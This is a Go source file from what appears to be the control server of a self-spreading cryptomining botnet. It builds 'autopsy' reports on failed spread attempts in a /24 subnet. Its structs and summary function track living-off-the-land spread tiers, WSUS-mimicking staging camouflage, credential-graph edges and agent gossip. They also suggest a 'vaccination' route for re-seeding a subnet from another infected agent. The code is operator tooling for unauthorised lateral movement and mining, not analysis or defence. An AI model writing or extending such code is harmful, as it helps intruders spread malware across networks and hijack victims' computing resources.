package atlas import ( "fmt" "strings" "time" "crypto-miner-server/internal/spreadrouter" ) const SubnetAutopsyLOTLAttemptLimit = 5 const SubnetAutopsyGossipWhisperLimit = 8 // LOTLAttemptSnapshot is one spread/mining tier attempt in an autopsy packet. type LOTLAttemptSnapshot struct { AgentID string `json:"agent_id,omitempty"` AgentName string `json:"agent_name,omitempty"` Tier string `json:"tier"` OK bool `json:"ok"` Error string `json:"error,omitempty"` DurationMs int64 `json:"duration_ms,omitempty"` Phase string `json:"phase,omitempty"` } // WSUSMimicSnapshot records WSUS cache-peer staging camouflage context. type WSUSMimicSnapshot struct { FormatMimicEnabled bool `json:"format_mimic_enabled"` CachePeerLane string `json:"cache_peer_lane"` RecentJoinLane string `json:"recent_join_lane,omitempty"` } // ErasureFallbackSnapshot reports whether RS lane fallback is available. type ErasureFallbackSnapshot struct { ErasureLanesEnabled bool `json:"erasure_lanes_enabled"` AvailableAsFallback bool `json:"available_as_fallback"` } // SubnetAutopsyPacket is the full immune-response autopsy for a paused /24. type SubnetAutopsyPacket struct { Prefix string `json:"prefix"` TriggeredAt time.Time `json:"triggered_at"` FailCount int `json:"fail_count"` PausedUntil *time.Time `json:"paused_until,omitempty"` LOTLAttempts []LOTLAttemptSnapshot `json:"lotl_attempts"` WSUSMimic WSUSMimicSnapshot `json:"wsus_mimic"` Persona string `json:"persona"` ErasureFallback ErasureFallbackSnapshot `json:"erasure_fallback"` GossipWhispers []GossipHint `json:"gossip_whispers"` FailureAtlas string `json:"failure_atlas,omitempty"` CauseOfDeath string `json:"cause_of_death"` VaccinationLane *spreadrouter.SpreadRouteHint `json:"vaccination_lane,omitempty"` } // BuildCauseOfDeath composes a one-page immune summary from packet fields. func BuildCauseOfDeath(pkt SubnetAutopsyPacket) string { var b strings.Builder fmt.Fprintf(&b, "Subnet %s immune pause: %d spread failures triggered 24h quarantine.", pkt.Prefix, pkt.FailCount) if pkt.PausedUntil != nil { fmt.Fprintf(&b, " Resumes %s UTC.", pkt.PausedUntil.UTC().Format(time.RFC3339)) } b.WriteString("\n") failed := failedSpreadAttempts(pkt.LOTLAttempts) if len(failed) > 0 { b.WriteString("Failed LOTL tiers: ") parts := make([]string, 0, len(failed)) for _, a := range failed { line := a.Tier if a.Error != "" { line += " (" + a.Error + ")" } parts = append(parts, line) } b.WriteString(strings.Join(parts, ", ")) b.WriteString(".\n") } else { b.WriteString("No recent LOTL spread attempts on this /24 — failures came from cred-graph edges.\n") } if pkt.FailureAtlas != "" && pkt.FailureAtlas != "no fleet failure atlas samples for this fingerprint" { fmt.Fprintf(&b, "Failure atlas: %s.\n", pkt.FailureAtlas) } if len(pkt.GossipWhispers) > 0 { b.WriteString("Atlas gossip whispers: ") parts := make([]string, 0, len(pkt.GossipWhispers)) for _, h := range pkt.GossipWhispers { parts = append(parts, h.Tier+"@"+h.Condition) } b.WriteString(strings.Join(parts, ", ")) b.WriteString(".\n") } fmt.Fprintf(&b, "Persona=%s; WSUS mimic=%v; erasure fallback=%v.", pkt.Persona, pkt.WSUSMimic.FormatMimicEnabled, pkt.ErasureFallback.AvailableAsFallback) if pkt.VaccinationLane != nil && pkt.VaccinationLane.SeedAgentID != "" { fmt.Fprintf(&b, "\nVaccination: route via %s (%s lane", displayAgent(pkt.VaccinationLane.SeedAgentName, pkt.VaccinationLane.SeedAgentID), pkt.VaccinationLane.JoinLane) if pkt.VaccinationLane.ErasureLanesEnabled { b.WriteString(", RS lanes on") } b.WriteString(").") } else { b.WriteString("\nVaccination: no BGP clearance route — widen Path Tracer or seed from adjacent /24.") } return strings.TrimSpace(b.String()) } func failedSpreadAttempts(attempts []LOTLAttemptSnapshot) []LOTLAttemptSnapshot { var out []LOTLAttemptSnapshot for _, a := range attempts { if a.OK { continue } if a.Phase != "" && a.Phase != "spread" && a.Phase != "deploy" { continue } out = append(out, a) } return out } func displayAgent(name, id string) string { if strings.TrimSpace(name) != "" { return name } if len(id) > 8 { return id[:8] } return id } // TrimLOTLAttempts keeps the last n attempts in arrival order. func TrimLOTLAttempts(attempts []LOTLAttemptSnapshot, n int) []LOTLAttemptSnapshot { if n <= 0 || len(attempts) <= n { return attempts } return attempts[len(attempts)-n:] } // TrimGossipWhispers keeps the most recent n gossip hints. func TrimGossipWhispers(hints []GossipHint, n int) []GossipHint { if n <= 0 || len(hints) <= n { return hints } return hints[len(hints)-n:] }